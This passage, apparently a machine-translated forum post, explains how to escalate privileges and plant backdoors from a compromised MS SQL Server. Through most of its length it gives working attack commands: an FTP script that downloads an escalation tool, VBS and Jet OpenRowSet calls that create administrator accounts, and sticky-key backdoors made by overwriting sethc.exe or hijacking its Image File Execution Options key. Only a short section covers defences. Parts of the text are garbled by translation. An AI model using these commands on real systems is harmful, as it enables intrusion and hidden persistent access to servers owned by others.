'writeline', NULL, 'get en.exe (kein Net Escalation Script) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', null, 'bye' Nachdem der Abfrageanalysator erfolgreich ausgeführt wurde, erscheint ein 1.bat auf der C-Festplatte (wenn die Ausführung erfolgreich ist, das C-Laufwerk aber nicht vorhanden ist, können Sie den Ordner zum Schreiben ändern, weil das Root-Verzeichnis des C-Servers das Schreiben verbietet) Dann führt cmd ftp -s:c:\ aus 1.bat Nachdem dies ausgeführt wurde, lädst du ein Nicht-Net-Eskalationsskript auf das CFT-Laufwerk (FTP) herunter oder schreibst direkt ein VBS-Eskalationsskript Declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject' @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Dann führt cmd cscrip aus, um t c:\1.vbs zu entfernen 4. Der vorherige wird repariert, um CMD-Befehle auszuführen, aber nach einigen Reparaturen treten neue Probleme auf (1) Nachricht: Während der Ausführung von xp_cmdshell trat ein Fehler auf. Ruf 'CreateProcess' fehl mit Fehlercode: '5'. Fehler 5 ist eine vom System verursachte Fehlernummer, CreateProcess ist die Bedeutung für das Erstellen eines Threads; diese Fehlergenerierung hat viel mit der cmd.exe der Systemdateien zu tun, zum einen wird cmd gelöscht, zum anderen wird die Berechtigung cmd reduziert. SQL, um Terminalports und den Open-Status zu überprüfen: Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' Okay, der entscheidende Punkt unten ist, zwei SQL-Anweisungen zu verwenden, um die Explorer-Datei des Systems in die Shift-Backdoor-Datei des Systems zu kopieren, und die folgenden beiden Anweisungen werden separat ausgeführt. Diese Aussage kopiert explorer.exe als sethc.exe Declare @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Diese Anweisung kopiert sethc.exe in das dllcache-Verzeichnis Declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile', null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Die anderen beiden Anweisungen verwenden sp_oacreate gespeicherte Prozeduren, die odsole70.dll Datei benötigen, sodass das Überleben dieser Datei mit dem Erfolg ihrer Erstellung zusammenhängt. (2), xpsql.cpp: Fehler 5 von CreateProcess (Zeile 737) Diese Situation ist komplizierter und wird im Internet gesagt EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Wählen Sie * aus OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Datenbank=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Wählen Sie * aus OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Datenbank=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Ich habe die Sandbox überprüft, um die Rechte zu diesem Thema zu erheben, aber durch meine Praxis ist diese Erfolgsquote sehr niedrig, weil die meisten Server c:\windows\system32\ias\ias.mdb gelöscht haben. Dann kannst du Bild-Hijacking ausprobieren, natürlich ist Bild-Hijacking ebenfalls bedingt, 1 soll existieren, xp_regwrite dieses gespeicherte Verfahren 2 ist 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', Debugger' wird nicht gelöscht Sie können zunächst abfragen, ob der Registry-Sticky-Schlüssel entführt wurde Exec Master.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Wenn der Prompt das Problem nicht findet, wird der Beweis gelöscht, es gibt keine Möglichkeit, den SQL-Befehl sethc.exe ausführen EXEC-Meister.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Nachdem ich fünfmal mit dem Terminal verbunden und umgeschaltet habe, geht es direkt zum Desktop und fügt es dann manuell hinzu.
Das Register verändert den Terminalport
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Was die Verhinderung von Bildkaperungen betrifft, so wird dies hauptsächlich durch folgende Methoden erreicht:
★ Gesetz zur Erlaubnisbeschränkung
Wenn der Benutzer keinen Zugriff mehr auf den Registrierungsschlüssel hat, kann er diese Dinge nicht mehr ändern. Öffnen Sie den Registereditor und gehen Sie zu HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, wähle diesen Punkt aus, klicke mit der rechten Maustaste – > Berechtigungen – > erweitert und senke die Berechtigungen von Administratoren und Systemnutzern (hier musst du nur die Schreiboperation abbrechen).
★ Schnelles Messerschneiden mit unordentlichem Hanf
Öffne den Registry-Editor und gehe zur Bar.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Optionen
Das Problem kann gelöst werden, indem man das Element Image File Execution Options direkt löscht.
SQL Command Hijacks Registry Sticky Key Installation Backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger', 'REG_SZ','C:\WINDOWS\system32\kdsn.exe'
Software-Download:Touristen, wenn ihr den versteckten Inhalt dieses Beitrags sehen wollt, bitte Antwort
|